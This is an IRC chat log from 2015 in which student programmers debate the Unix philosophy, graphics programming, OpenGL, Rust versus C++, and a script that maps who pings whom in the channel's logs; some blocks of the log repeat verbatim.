[2015-02-05T10:34:06-0500] <+hardmath123> JacobEdelman: you could, yes, but Python people would ostracize you if you wrote their module system in node.
[2015-02-05T10:34:27-0500] <+hardmath123> JacobEdelman: if you reimplement the same architecture in Python, though, it could be pretty sweet. :D
[2015-02-05T10:34:44-0500] <JacobEdelman> .... hmmm, well, too bad for the python people
[2015-02-05T10:34:47-0500] <JacobEdelman> :P
[2015-02-05T10:34:53-0500] <JacobEdelman> I mean, its only a web server
[2015-02-05T10:35:02-0500] <JacobEdelman> from a client perspective it would look like normal python
[2015-02-05T10:35:21-0500] <+hardmath123> No, I mean reimplement npm the command-line tool.
[2015-02-05T10:35:56-0500] <JacobEdelman> oh, well, I'm lazy
[2015-02-05T10:47:55-0500] <+awe> JacobEdelman: you're completely wrong.
[2015-02-05T10:48:52-0500] <JacobEdelman> awe: I thought you would say that
[2015-02-05T10:49:51-0500] <+awe> JacobEdelman: you don't do modularity, clarity, composition, separation, simplicity, transparency, robustness, unsure about representation, least surprise, repair, generation, diversity
[2015-02-05T10:49:51-0500] <JacobEdelman> awe: I just follow the rules of economy, optimization, generation, and parsimony more heavily
[2015-02-05T10:50:34-0500] <JacobEdelman> also, I'd argue that I do do the ones you say, just less so than you
[2015-02-05T10:50:38-0500] <JacobEdelman> and vice versa
[2015-02-05T10:50:45-0500] <+awe> I don't embody the Unix philosophy, or even try to.
[2015-02-05T10:51:20-0500] <JacobEdelman> hmmm... why not? I was just looking at them to see how bad my programmign practices were
[2015-02-05T10:51:36-0500] <+awe> Richard P. Gabriel suggests that a key advantage of Unix was that it embodied a design philosophy he termed "worse is better", in which simplicity of both the interface and the implementation are more important than any other attributes of the system—including correctness, consistency, and completeness. Gabriel argues that this design style has key evolutionary advantages, though he questions the quality of some results.
[2015-02-05T10:51:44-0500] <+awe> It produces bad code.
[2015-02-05T10:51:48-0500] <JacobEdelman> I like that idea
[2015-02-05T10:51:49-0500] <JacobEdelman> :)
[2015-02-05T10:51:50-0500] <+awe> I value correctness, consistency, and completeness.
[2015-02-05T10:51:56-0500] <JacobEdelman> I don't
[2015-02-05T10:52:05-0500] <JacobEdelman> simplicity creates them 
[2015-02-05T10:52:07-0500] <+awe> The former two are definitely more important than the latter, but the latter is always a goal.
[2015-02-05T10:52:12-0500] <+awe> No, it doesn't.
[2015-02-05T10:52:17-0500] <+awe> Simplicity /= correctness.
[2015-02-05T10:52:25-0500] <+awe> It can imply consistency sometimes.
[2015-02-05T10:54:51-0500] <+awe> But only really by virtue of not having enough to be consistent.
[2015-02-05T10:55:42-0500] <+awe> The Unix philosophy may have been effective for getting a lot of stuff done at a time where portability was nearly impossible and it sought to bridge that gap.
[2015-02-05T10:55:55-0500] <+awe> But the landscape of software development is vastly different today.
[2015-02-05T11:20:54-0500] <JacobEdelman> occams razor is true, ergo, simplicity is correctness
[2015-02-05T11:21:20-0500] <JacobEdelman> where the measurment of simplciity takes as a prior the problem that is to be solved
[2015-02-05T11:22:10-0500] <JacobEdelman> (actually that argument is a tad obtuse, so ignore what I just said)
[2015-02-05T11:22:22-0500] <JacobEdelman> I still think "worse is better"
[2015-02-05T11:52:12-0500] <JacobEdelman> genius: http://fortytwo-as-a-service.herokuapp.com/
[2015-02-05T11:56:05-0500] <MrSaints> Holy shit webscale 42.
[2015-02-05T11:56:37-0500] <MrSaints> The answer to everything.
[2015-02-05T12:05:14-0500] <JacobEdelman> yup!
[2015-02-05T12:05:30-0500] <JacobEdelman> I mean, it used to be everyday had to create their own 42
[2015-02-05T12:05:38-0500] <JacobEdelman> but now this service does it for us!
[2015-02-05T12:05:54-0500] <JacobEdelman> *everybody, not everyday
[2015-02-05T12:06:56-0500] <JacobEdelman> note: the English language and I enjoy a good, if casual, relationship, occasionally I bump into the rules of grammar or spelling on my way through a sentence but typically I veer around them
[2015-02-05T12:09:47-0500] <JacobEdelman> the word "derps" used to be registered as a trademark for the purposes of  financial analysis and consultation
[2015-02-05T12:09:57-0500] <JacobEdelman> I wonder why they didn't renew the trade mark :P
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[2015-02-05T10:03:19-0500] <JacobEdelman> so I can make a clone for python
[2015-02-05T10:16:24-0500] <JacobEdelman> alokpathy: I don't think torvalds is an actuall contirbutor, I think they just forked the linux repository
[2015-02-05T10:21:14-0500] <JacobEdelman> hmm... I'm looking at the unix programming philosphy
[2015-02-05T10:21:37-0500] <JacobEdelman> and I think that I actually adhear to it pretty well despite complaints (cough, cough awe) of my programming practices
[2015-02-05T10:22:03-0500] <JacobEdelman> en.wikipedia.org/wiki/Unix_philosophy (specifically eric s raymond
[2015-02-05T10:22:08-0500] <JacobEdelman> *'s ones
[2015-02-05T10:34:06-0500] <+hardmath123> JacobEdelman: you could, yes, but Python people would ostracize you if you wrote their module system in node.
[2015-02-05T10:34:27-0500] <+hardmath123> JacobEdelman: if you reimplement the same architecture in Python, though, it could be pretty sweet. :D
[2015-02-05T10:34:44-0500] <JacobEdelman> .... hmmm, well, too bad for the python people
[2015-02-05T10:34:47-0500] <JacobEdelman> :P
[2015-02-05T10:34:53-0500] <JacobEdelman> I mean, its only a web server
[2015-02-05T10:35:02-0500] <JacobEdelman> from a client perspective it would look like normal python
[2015-02-05T10:35:21-0500] <+hardmath123> No, I mean reimplement npm the command-line tool.
[2015-02-05T10:35:56-0500] <JacobEdelman> oh, well, I'm lazy
[2015-02-05T10:47:55-0500] <+awe> JacobEdelman: you're completely wrong.
[2015-02-05T10:48:52-0500] <JacobEdelman> awe: I thought you would say that
[2015-02-05T10:49:51-0500] <+awe> JacobEdelman: you don't do modularity, clarity, composition, separation, simplicity, transparency, robustness, unsure about representation, least surprise, repair, generation, diversity
[2015-02-05T10:49:51-0500] <JacobEdelman> awe: I just follow the rules of economy, optimization, generation, and parsimony more heavily
[2015-02-05T10:50:34-0500] <JacobEdelman> also, I'd argue that I do do the ones you say, just less so than you
[2015-02-05T10:50:38-0500] <JacobEdelman> and vice versa
[2015-02-05T10:50:45-0500] <+awe> I don't embody the Unix philosophy, or even try to.
[2015-02-05T10:51:20-0500] <JacobEdelman> hmmm... why not? I was just looking at them to see how bad my programmign practices were
[2015-02-05T10:51:36-0500] <+awe> Richard P. Gabriel suggests that a key advantage of Unix was that it embodied a design philosophy he termed "worse is better", in which simplicity of both the interface and the implementation are more important than any other attributes of the system—including correctness, consistency, and completeness. Gabriel argues that this design style has key evolutionary advantages, though he questions the quality of some results.
[2015-02-05T10:51:44-0500] <+awe> It produces bad code.
[2015-02-05T10:51:48-0500] <JacobEdelman> I like that idea
[2015-02-05T10:51:49-0500] <JacobEdelman> :)
[2015-02-05T10:51:50-0500] <+awe> I value correctness, consistency, and completeness.
[2015-02-05T10:51:56-0500] <JacobEdelman> I don't
[2015-02-05T10:52:05-0500] <JacobEdelman> simplicity creates them 
[2015-02-05T10:52:07-0500] <+awe> The former two are definitely more important than the latter, but the latter is always a goal.
[2015-02-05T10:52:12-0500] <+awe> No, it doesn't.
[2015-02-05T10:52:17-0500] <+awe> Simplicity /= correctness.
[2015-02-05T10:52:25-0500] <+awe> It can imply consistency sometimes.
[2015-02-05T10:54:51-0500] <+awe> But only really by virtue of not having enough to be consistent.
[2015-02-05T10:55:42-0500] <+awe> The Unix philosophy may have been effective for getting a lot of stuff done at a time where portability was nearly impossible and it sought to bridge that gap.
[2015-02-05T10:55:55-0500] <+awe> But the landscape of software development is vastly different today.
[2015-02-05T11:20:54-0500] <JacobEdelman> occams razor is true, ergo, simplicity is correctness
[2015-02-05T11:21:20-0500] <JacobEdelman> where the measurment of simplciity takes as a prior the problem that is to be solved
[2015-02-05T11:22:10-0500] <JacobEdelman> (actually that argument is a tad obtuse, so ignore what I just said)
[2015-02-05T11:22:22-0500] <JacobEdelman> I still think "worse is better"
[2015-02-05T11:52:12-0500] <JacobEdelman> genius: http://fortytwo-as-a-service.herokuapp.com/
[2015-02-05T11:56:05-0500] <MrSaints> Holy shit webscale 42.
[2015-02-05T11:56:37-0500] <MrSaints> The answer to everything.
[2015-02-05T12:05:14-0500] <JacobEdelman> yup!
[2015-02-05T12:05:30-0500] <JacobEdelman> I mean, it used to be everyday had to create their own 42
[2015-02-05T12:05:38-0500] <JacobEdelman> but now this service does it for us!
[2015-02-05T12:05:54-0500] <JacobEdelman> *everybody, not everyday
[2015-02-05T12:06:56-0500] <JacobEdelman> note: the English language and I enjoy a good, if casual, relationship, occasionally I bump into the rules of grammar or spelling on my way through a sentence but typically I veer around them
[2015-02-05T12:09:47-0500] <JacobEdelman> the word "derps" used to be registered as a trademark for the purposes of  financial analysis and consultation
[2015-02-05T12:09:57-0500] <JacobEdelman> I wonder why they didn't renew the trade mark :P
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[2015-02-05T10:03:19-0500] <JacobEdelman> so I can make a clone for python
[2015-02-05T10:16:24-0500] <JacobEdelman> alokpathy: I don't think torvalds is an actuall contirbutor, I think they just forked the linux repository
[2015-02-05T10:21:14-0500] <JacobEdelman> hmm... I'm looking at the unix programming philosphy
[2015-02-05T10:21:37-0500] <JacobEdelman> and I think that I actually adhear to it pretty well despite complaints (cough, cough awe) of my programming practices
[2015-02-05T10:22:03-0500] <JacobEdelman> en.wikipedia.org/wiki/Unix_philosophy (specifically eric s raymond
[2015-02-05T10:22:08-0500] <JacobEdelman> *'s ones
[2015-02-05T10:34:06-0500] <+hardmath123> JacobEdelman: you could, yes, but Python people would ostracize you if you wrote their module system in node.
[2015-02-05T10:34:27-0500] <+hardmath123> JacobEdelman: if you reimplement the same architecture in Python, though, it could be pretty sweet. :D
[2015-02-05T10:34:44-0500] <JacobEdelman> .... hmmm, well, too bad for the python people
[2015-02-05T10:34:47-0500] <JacobEdelman> :P
[2015-02-05T10:34:53-0500] <JacobEdelman> I mean, its only a web server
[2015-02-05T10:35:02-0500] <JacobEdelman> from a client perspective it would look like normal python
[2015-02-05T10:35:21-0500] <+hardmath123> No, I mean reimplement npm the command-line tool.
[2015-02-05T10:35:56-0500] <JacobEdelman> oh, well, I'm lazy
[2015-02-05T10:47:55-0500] <+awe> JacobEdelman: you're completely wrong.
[2015-02-05T10:48:52-0500] <JacobEdelman> awe: I thought you would say that
[2015-02-05T10:49:51-0500] <+awe> JacobEdelman: you don't do modularity, clarity, composition, separation, simplicity, transparency, robustness, unsure about representation, least surprise, repair, generation, diversity
[2015-02-05T10:49:51-0500] <JacobEdelman> awe: I just follow the rules of economy, optimization, generation, and parsimony more heavily
[2015-02-05T10:50:34-0500] <JacobEdelman> also, I'd argue that I do do the ones you say, just less so than you
[2015-02-05T10:50:38-0500] <JacobEdelman> and vice versa
[2015-02-05T10:50:45-0500] <+awe> I don't embody the Unix philosophy, or even try to.
[2015-02-05T10:51:20-0500] <JacobEdelman> hmmm... why not? I was just looking at them to see how bad my programmign practices were
[2015-02-05T10:51:36-0500] <+awe> Richard P. Gabriel suggests that a key advantage of Unix was that it embodied a design philosophy he termed "worse is better", in which simplicity of both the interface and the implementation are more important than any other attributes of the system—including correctness, consistency, and completeness. Gabriel argues that this design style has key evolutionary advantages, though he questions the quality of some results.
[2015-02-05T10:51:44-0500] <+awe> It produces bad code.
[2015-02-05T10:51:48-0500] <JacobEdelman> I like that idea
[2015-02-05T10:51:49-0500] <JacobEdelman> :)
[2015-02-05T10:51:50-0500] <+awe> I value correctness, consistency, and completeness.
[2015-02-05T10:51:56-0500] <JacobEdelman> I don't
[2015-02-05T10:52:05-0500] <JacobEdelman> simplicity creates them 
[2015-02-05T10:52:07-0500] <+awe> The former two are definitely more important than the latter, but the latter is always a goal.
[2015-02-05T10:52:12-0500] <+awe> No, it doesn't.
[2015-02-05T10:52:17-0500] <+awe> Simplicity /= correctness.
[2015-02-05T10:52:25-0500] <+awe> It can imply consistency sometimes.
[2015-02-05T10:54:51-0500] <+awe> But only really by virtue of not having enough to be consistent.
[2015-02-05T10:55:42-0500] <+awe> The Unix philosophy may have been effective for getting a lot of stuff done at a time where portability was nearly impossible and it sought to bridge that gap.
[2015-02-05T10:55:55-0500] <+awe> But the landscape of software development is vastly different today.
[2015-02-05T11:20:54-0500] <JacobEdelman> occams razor is true, ergo, simplicity is correctness
[2015-02-05T11:21:20-0500] <JacobEdelman> where the measurment of simplciity takes as a prior the problem that is to be solved
[2015-02-05T11:22:10-0500] <JacobEdelman> (actually that argument is a tad obtuse, so ignore what I just said)
[2015-02-05T11:22:22-0500] <JacobEdelman> I still think "worse is better"
[2015-02-05T11:52:12-0500] <JacobEdelman> genius: http://fortytwo-as-a-service.herokuapp.com/
[2015-02-05T11:56:05-0500] <MrSaints> Holy shit webscale 42.
[2015-02-05T11:56:37-0500] <MrSaints> The answer to everything.
[2015-02-05T12:05:14-0500] <JacobEdelman> yup!
[2015-02-05T12:05:30-0500] <JacobEdelman> I mean, it used to be everyday had to create their own 42
[2015-02-05T12:05:38-0500] <JacobEdelman> but now this service does it for us!
[2015-02-05T12:05:54-0500] <JacobEdelman> *everybody, not everyday
[2015-02-05T12:06:56-0500] <JacobEdelman> note: the English language and I enjoy a good, if casual, relationship, occasionally I bump into the rules of grammar or spelling on my way through a sentence but typically I veer around them
[2015-02-05T12:09:47-0500] <JacobEdelman> the word "derps" used to be registered as a trademark for the purposes of  financial analysis and consultation
[2015-02-05T12:09:57-0500] <JacobEdelman> I wonder why they didn't renew the trade mark :P
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[2015-02-05T19:42:31-0500] <JacobEdelman> I can grep through them on my own
[2015-02-05T19:43:05-0500] <+hardmath123> http://hastebin.com/jatiqemana
[2015-02-05T19:43:23-0500] <JacobEdelman> also, lol: that one connection between alchemy and hint :P
[2015-02-05T19:43:29-0500] <+hardmath123> ikr? :P
[2015-02-05T19:43:49-0500] <+hardmath123> should I put a re-renderer in a cron job?
[2015-02-05T19:43:55-0500] <+hardmath123> then it'll be up-to-date.
[2015-02-05T19:44:17-0500] <JacobEdelman> yes :P
[2015-02-05T19:44:37-0500] <JacobEdelman> (can I have a copy of the logs to research on? assuming that id doesn't contain any pms to you or anything, of course)
[2015-02-05T19:45:28-0500] <JacobEdelman> hardmath123: did you do this cause of the xkcd one?
[2015-02-05T19:55:18-0500] <+hardmath123> JacobEdelman: yeah.
[2015-02-05T19:55:23-0500] <+hardmath123> JacobEdelman: based on #xkcd.
[2015-02-05T20:34:13-0500] <bob_twinkles> aalib is awesome http://i.imgur.com/2UJQUAn.png?1
[2015-02-05T20:34:42-0500] <Hyper> bob_twinkles: antialiasing?
[2015-02-05T20:35:07-0500] <Hyper> oh
[2015-02-05T20:35:10-0500] <Hyper> ascii art
[2015-02-05T20:35:13-0500] <bob_twinkles> yeah it doesn't deal with high frequency stuff very well
[2015-02-05T20:35:18-0500] <bob_twinkles> but that's the output of a raytracer
[2015-02-05T20:35:26-0500] <Hyper> no I thought aa stood for antialiasing lol
[2015-02-05T20:35:35-0500] <Hyper> interesting, nonetheless
[2015-02-05T20:36:13-0500] <Hyper> bob_twinkles: you might find this funny: https://github.com/Hypersonic/Tionanima/blob/master/source/app.d#L69
[2015-02-05T20:36:24-0500] <Hyper> because srsly fuck fonts
[2015-02-05T20:36:27-0500] <bob_twinkles> I was too lazy to pull the source off of my school's RAS so I refactored the whole thing so that it can render to either an aalib surface or an image file
[2015-02-05T20:36:47-0500] <bob_twinkles> can confirm, fonts are full of suck
[2015-02-05T20:37:50-0500] <bob_twinkles> https://github.com/bobtwinkles/voxelvolume/blob/master/ogl/ui/Text.cpp#L53-L112 <- a sad, sad attempt at trying to properly discover a monospace font
[2015-02-05T20:37:53-0500] <bob_twinkles> it doesn't really work
[2015-02-05T20:38:04-0500] <bob_twinkles> and it's not portable at all
[2015-02-05T20:46:05-0500] <Hyper> aagh
[2015-02-05T20:46:07-0500] <Hyper> no
[2015-02-05T20:46:08-0500] <Hyper> no
[2015-02-05T20:46:09-0500] <Hyper> nope
[2015-02-05T20:46:11-0500] <Hyper> nope
[2015-02-05T20:47:06-0500] <bob_twinkles> yep...
[2015-02-05T20:47:23-0500] <JacobEdelman> wait, no
[2015-02-05T20:48:40-0500] <bob_twinkles> JacobEdelman: ?
[2015-02-05T20:49:11-0500] <JacobEdelman> I was just keeping the "no, no, aarg, yep" thing going
[2015-02-05T20:49:32-0500] <bob_twinkles> and here I thought you were  going to contribute to the discussion =P
[2015-02-05T20:50:57-0500] <Hyper> bob_twinkles: the output looks decent, though :) http://i.imgur.com/REMI79g.png
[2015-02-05T20:51:19-0500] <bob_twinkles> nice
[2015-02-05T20:52:35-0500] <JacobEdelman> watching this makes me respect randall munroe so much more: https://www.youtube.com/watch?v=zJOS0sV2a24
[2015-02-05T20:52:46-0500] <JacobEdelman> it shows that hes not one of those god lile nerg figures
[2015-02-05T20:52:52-0500] <JacobEdelman> who has awesome public speaking
[2015-02-05T20:52:57-0500] <JacobEdelman> but is actually just a cool nerd
[2015-02-05T20:53:02-0500] <JacobEdelman> who likes nerdy things
[2015-02-05T20:53:05-0500] <JacobEdelman> and has cool ideas
[2015-02-05T21:32:20-0500] <JacobEdelman> in the randall monroe video
[2015-02-05T21:32:23-0500] <JacobEdelman> he just suggessted 
[2015-02-05T21:32:26-0500] <JacobEdelman> that there be a movie
[2015-02-05T21:32:29-0500] <JacobEdelman> thats an hour and a half
[2015-02-05T21:32:36-0500] <JacobEdelman> of river tam beating up dinosaurs
[2015-02-05T21:32:38-0500] <JacobEdelman> :P
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[2015-02-05T19:42:31-0500] <JacobEdelman> I can grep through them on my own
[2015-02-05T19:43:05-0500] <+hardmath123> http://hastebin.com/jatiqemana
[2015-02-05T19:43:23-0500] <JacobEdelman> also, lol: that one connection between alchemy and hint :P
[2015-02-05T19:43:29-0500] <+hardmath123> ikr? :P
[2015-02-05T19:43:49-0500] <+hardmath123> should I put a re-renderer in a cron job?
[2015-02-05T19:43:55-0500] <+hardmath123> then it'll be up-to-date.
[2015-02-05T19:44:17-0500] <JacobEdelman> yes :P
[2015-02-05T19:44:37-0500] <JacobEdelman> (can I have a copy of the logs to research on? assuming that id doesn't contain any pms to you or anything, of course)
[2015-02-05T19:45:28-0500] <JacobEdelman> hardmath123: did you do this cause of the xkcd one?
[2015-02-05T19:55:18-0500] <+hardmath123> JacobEdelman: yeah.
[2015-02-05T19:55:23-0500] <+hardmath123> JacobEdelman: based on #xkcd.
[2015-02-05T20:34:13-0500] <bob_twinkles> aalib is awesome http://i.imgur.com/2UJQUAn.png?1
[2015-02-05T20:34:42-0500] <Hyper> bob_twinkles: antialiasing?
[2015-02-05T20:35:07-0500] <Hyper> oh
[2015-02-05T20:35:10-0500] <Hyper> ascii art
[2015-02-05T20:35:13-0500] <bob_twinkles> yeah it doesn't deal with high frequency stuff very well
[2015-02-05T20:35:18-0500] <bob_twinkles> but that's the output of a raytracer
[2015-02-05T20:35:26-0500] <Hyper> no I thought aa stood for antialiasing lol
[2015-02-05T20:35:35-0500] <Hyper> interesting, nonetheless
[2015-02-05T20:36:13-0500] <Hyper> bob_twinkles: you might find this funny: https://github.com/Hypersonic/Tionanima/blob/master/source/app.d#L69
[2015-02-05T20:36:24-0500] <Hyper> because srsly fuck fonts
[2015-02-05T20:36:27-0500] <bob_twinkles> I was too lazy to pull the source off of my school's RAS so I refactored the whole thing so that it can render to either an aalib surface or an image file
[2015-02-05T20:36:47-0500] <bob_twinkles> can confirm, fonts are full of suck
[2015-02-05T20:37:50-0500] <bob_twinkles> https://github.com/bobtwinkles/voxelvolume/blob/master/ogl/ui/Text.cpp#L53-L112 <- a sad, sad attempt at trying to properly discover a monospace font
[2015-02-05T20:37:53-0500] <bob_twinkles> it doesn't really work
[2015-02-05T20:38:04-0500] <bob_twinkles> and it's not portable at all
[2015-02-05T20:46:05-0500] <Hyper> aagh
[2015-02-05T20:46:07-0500] <Hyper> no
[2015-02-05T20:46:08-0500] <Hyper> no
[2015-02-05T20:46:09-0500] <Hyper> nope
[2015-02-05T20:46:11-0500] <Hyper> nope
[2015-02-05T20:47:06-0500] <bob_twinkles> yep...
[2015-02-05T20:47:23-0500] <JacobEdelman> wait, no
[2015-02-05T20:48:40-0500] <bob_twinkles> JacobEdelman: ?
[2015-02-05T20:49:11-0500] <JacobEdelman> I was just keeping the "no, no, aarg, yep" thing going
[2015-02-05T20:49:32-0500] <bob_twinkles> and here I thought you were  going to contribute to the discussion =P
[2015-02-05T20:50:57-0500] <Hyper> bob_twinkles: the output looks decent, though :) http://i.imgur.com/REMI79g.png
[2015-02-05T20:51:19-0500] <bob_twinkles> nice
[2015-02-05T20:52:35-0500] <JacobEdelman> watching this makes me respect randall munroe so much more: https://www.youtube.com/watch?v=zJOS0sV2a24
[2015-02-05T20:52:46-0500] <JacobEdelman> it shows that hes not one of those god lile nerg figures
[2015-02-05T20:52:52-0500] <JacobEdelman> who has awesome public speaking
[2015-02-05T20:52:57-0500] <JacobEdelman> but is actually just a cool nerd
[2015-02-05T20:53:02-0500] <JacobEdelman> who likes nerdy things
[2015-02-05T20:53:05-0500] <JacobEdelman> and has cool ideas
[2015-02-05T21:32:20-0500] <JacobEdelman> in the randall monroe video
[2015-02-05T21:32:23-0500] <JacobEdelman> he just suggessted 
[2015-02-05T21:32:26-0500] <JacobEdelman> that there be a movie
[2015-02-05T21:32:29-0500] <JacobEdelman> thats an hour and a half
[2015-02-05T21:32:36-0500] <JacobEdelman> of river tam beating up dinosaurs
[2015-02-05T21:32:38-0500] <JacobEdelman> :P
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[2015-02-05T22:27:57-0500] <+awe> [19:43:05]  <+hardmath123>	http://hastebin.com/jatiqemana
[2015-02-05T22:28:03-0500] <+awe> hardmath123: where's the output from this?
[2015-02-05T22:28:30-0500] <+awe> I seem to have not gotten that in my logs?
[2015-02-05T22:29:16-0500] <+awe> Oh, found it.
[2015-02-05T22:30:24-0500] <+awe> JacobEdelman and I are by far the most significant.
[2015-02-05T22:31:36-0500] <+awe> It seems like everything goes to me, and then Jacob and I have a huge trunk between us.
[2015-02-05T22:34:32-0500] <+hardmath123> Yeah, pretty much.
[2015-02-05T22:35:16-0500] <+awe> Why am I so significant?
[2015-02-05T22:35:18-0500] <+awe> Do I talk that much?
[2015-02-05T22:35:29-0500] <+hardmath123> You're our social nucleus.
[2015-02-05T22:36:06-0500] <+hardmath123> There's also a significant Tamini<->alokpathy bridge.
[2015-02-05T22:36:13-0500] <+awe> There is.
[2015-02-05T22:36:21-0500] <+hardmath123> And alchemy<->hint
[2015-02-05T22:36:30-0500] <+awe> But definitely, I have the most significant connections to everyone.
[2015-02-05T22:37:05-0500] <+hardmath123> JacobEdelman: has talked to the most not-talked-to-by-anyone-else people.
[2015-02-05T22:37:36-0500] <+awe> Yeah.
[2015-02-05T22:39:23-0500] <+awe> hardmath123: how does it decide what a name is?
[2015-02-05T22:40:25-0500] <+hardmath123> awe: http://hastebin.com/jatiqemana. it greps for ^\w+: in a message.
[2015-02-05T22:40:30-0500] <+awe> That's not effective. >.>
[2015-02-05T22:40:34-0500] <+hardmath123> I know.
[2015-02-05T22:40:42-0500] <+hardmath123> But it works well enough to get a general idea.
[2015-02-05T22:40:47-0500] <+awe> Yeah.
[2015-02-05T22:40:49-0500] <+awe> That's true.
[2015-02-05T22:40:49-0500] <+hardmath123> And I have no motivation for refining it.
[2015-02-05T22:40:59-0500] <+awe> The best thing to do would be to generate a list of people who's names appear in <>
[2015-02-05T22:41:15-0500] <+hardmath123> WeeChat logs don't do <>
[2015-02-05T22:41:18-0500] <+awe> Ah.
[2015-02-05T22:41:21-0500] <+awe> ZNC do.
[2015-02-05T22:41:27-0500] <+hardmath123> i'll need to first grep for names in the first column.
[2015-02-05T22:41:31-0500] <+awe> Yeah.
[2015-02-05T22:41:32-0500] <+hardmath123> which in itself isn't too bad.
[2015-02-05T22:41:33-0500] <+awe> Same idea though.
[2015-02-05T22:41:56-0500] <+awe> That explains why Stuy shows up for me.
[2015-02-05T22:41:58-0500] <+awe> and the word Guess.
[2015-02-05T22:42:03-0500] <+awe> And the word Note.
[2015-02-05T22:42:09-0500] <+hardmath123> and why alchemy talks to hint a lot.
[2015-02-05T22:42:21-0500] <+awe> Right.
[2015-02-05T22:42:37-0500] <+awe> I ping you a lot.
[2015-02-05T22:42:51-0500] <+hardmath123> Yeah, surprisingly.
[2015-02-05T22:42:54-0500] <+awe> It's not surprising.
[2015-02-05T22:42:59-0500] <+awe> I really do ping you a lot.
[2015-02-05T22:43:24-0500] <+hardmath123> Yes, but I'd have expected you to ping nezorg/bob_twinkls/alok/tamini about the same.
[2015-02-05T22:43:28-0500] <+LittleBobbyTables> Don't you love it when you tell someone you shouldn't do something, then they bitch at you to do it, then you do it, and something terrible happens like you dying, then they blame you?
[2015-02-05T22:43:30-0500] <+LittleBobbyTables> That's always fun.
[2015-02-05T22:43:38-0500] <+hardmath123> nobody pings LittleBobbyTables.
[2015-02-05T22:43:50-0500] <+awe> Well, remember the Tamini pings are split between Tam and Tamini.
[2015-02-05T22:43:54-0500] <+awe> And Tamini_
[2015-02-05T22:43:57-0500] <+hardmath123> true.
[2015-02-05T22:44:01-0500] <+awe> Because she changes her name so often.
[2015-02-05T22:44:10-0500] <+awe> But I'm not surprised that I ping you more than nezorg, bob_twinkles, alokpathy.
[2015-02-05T22:44:39-0500] <+hardmath123> Right, you wouldn't be, because you're the pinger. The ping-ee has less information about the pinging habits of the pinger.
[2015-02-05T22:44:46-0500] <+hardmath123> Please don't quote me on that sentence out of context.
[2015-02-05T22:45:18-0500] <+awe> "The ping-ee has less information about the pinging habits of the pinger." – hardmath123
[2015-02-05T22:48:41-0500] <bob_twinkles> lighting models are kinda annoying to implement without a polymorphic type system
[2015-02-05T22:49:23-0500] <bob_twinkles> 'cause there's a lot of overlap between different light types (every one has a color, intensity, etc.) but I can't take advantage of it very well =(
[2015-02-05T22:49:38-0500] <assface> graphics programming is a bitch
[2015-02-05T22:49:42-0500] <+awe> You know what I should do?
[2015-02-05T22:49:49-0500] <+awe> I should use my IRC library to work on NLP.
[2015-02-05T22:49:55-0500] <assface> I gave up on it when I used a canned tutorial built for my OpenGL version and it didn't work
[2015-02-05T22:50:18-0500] <bob_twinkles> but the black screen of doom is always _so much fun_ to figure out!
[2015-02-05T22:50:42-0500] <assface> yup
[2015-02-05T22:50:47-0500] <assface> just use SDL
[2015-02-05T22:50:56-0500] <bob_twinkles> this isn't even a realtime deal, I'm extending an offline raytracer I wrote as part of a school assignment
[2015-02-05T22:51:01-0500] <bob_twinkles> SDL is really slow
[2015-02-05T22:51:16-0500] <assface> if you count man-hours saved, not it's not
[2015-02-05T22:51:29-0500] <assface> *no it's not
[2015-02-05T22:51:40-0500] <bob_twinkles> like _really_ slow when compared to a marginally intellegent GL implementation
[2015-02-05T22:51:45-0500] <+awe> It sort of just occurred to me how many neat things I could do with processing the wealth of data we have here.
[2015-02-05T22:51:50-0500] <+awe> hardmath123: thank you.
[2015-02-05T22:52:01-0500] <bob_twinkles> eh, at this point I've got a decent collection of C++ wrappers that make OpenGL not too much of a massive poain
[2015-02-05T22:52:03-0500] <bob_twinkles> *pain
[2015-02-05T22:52:52-0500] <assface> GLEW?
[2015-02-05T22:53:20-0500] <+awe> I went to look for some examples of NPL libraries.
[2015-02-05T22:53:21-0500] <+awe> I found this.
[2015-02-05T22:53:21-0500] <+awe> http://mallet.cs.umass.edu
[2015-02-05T22:53:26-0500] <bob_twinkles> they're built on top of GLEW
[2015-02-05T22:53:36-0500] <bob_twinkles> but it's my own code
[2015-02-05T22:53:37-0500] <assface> lol
[2015-02-05T22:53:49-0500] <assface> tfw you have to use a wrapper for a wrapper because OpenGL's API is so bad
[2015-02-05T22:54:16-0500] <bob_twinkles> hey, they're giving a bunch of concrete details about GLNext at GDC this year
[2015-02-05T22:54:22-0500] <bob_twinkles> on march 3-5 IIRC
[2015-02-05T22:54:35-0500] <assface> yeah im interdasted in that too
[2015-02-05T22:55:18-0500] <bob_twinkles> and it's not really because the API is bad, it's because I don't want to think about 2 different types of memory leaks
[2015-02-05T22:55:38-0500] <assface> the API is really bad though
[2015-02-05T22:55:38-0500] <bob_twinkles> the C++ wrappers are basically just managers for GL objects to make sure I clean everything up properly
[2015-02-05T22:55:46-0500] <assface> IMO
[2015-02-05T22:55:59-0500] <bob_twinkles> eh, it's well defined at least
[2015-02-05T22:56:00-0500] <+awe> >languages that allow you to leak memory
[2015-02-05T22:56:58-0500] <bob_twinkles> I've yet to find a dynamic language with a powerful enough finalization mechanism that I can reliably implement the sort of cleanup I need =P
[2015-02-05T22:57:13-0500] <assface> >languages that make O(n^n) seem fast
[2015-02-05T22:57:13-0500] <+awe> >dynamic languages
[2015-02-05T22:57:27-0500] <bob_twinkles> sorry, s/dynamic/garbage collected/
[2015-02-05T22:57:28-0500] <+awe> bob_twinkles: y u no Rust?
[2015-02-05T22:57:39-0500] <bob_twinkles> because <><>><><><<><>&&>
[2015-02-05T22:57:39-0500] <+awe> >implying garbage collection is the only solution to preventing memory leaks
[2015-02-05T22:57:45-0500] <+awe> bob_twinkles: C++ is also like that?
[2015-02-05T22:57:58-0500] <bob_twinkles> uh.... 
[2015-02-05T22:58:00-0500] <bob_twinkles> maaaaaybeee
[2015-02-05T22:58:03-0500] <bob_twinkles> typedef though
[2015-02-05T22:58:04-0500] <assface> there's garbage collection in C++11 but nobody implemented it
[2015-02-05T22:58:15-0500] <+awe> bob_twinkles: you can typedef in Rust?
[2015-02-05T22:58:21-0500] <bob_twinkles> TIL
[2015-02-05T22:58:25-0500] <bob_twinkles> the real reason is lazy
[2015-02-05T22:58:33-0500] <+awe> I feel like you would benefit a lot from Rust.
[2015-02-05T22:58:37-0500] <+awe> Maybe other people here wouldn't.
[2015-02-05T22:58:38-0500] <+awe> Like Jacob.
[2015-02-05T22:58:40-0500] <+awe> But you would.
[2015-02-05T22:58:49-0500] <bob_twinkles> I already know enough of the weird corners of C++ that I feel obligated to leverage the knoledge
[2015-02-05T22:58:53-0500] <+awe> Lol.
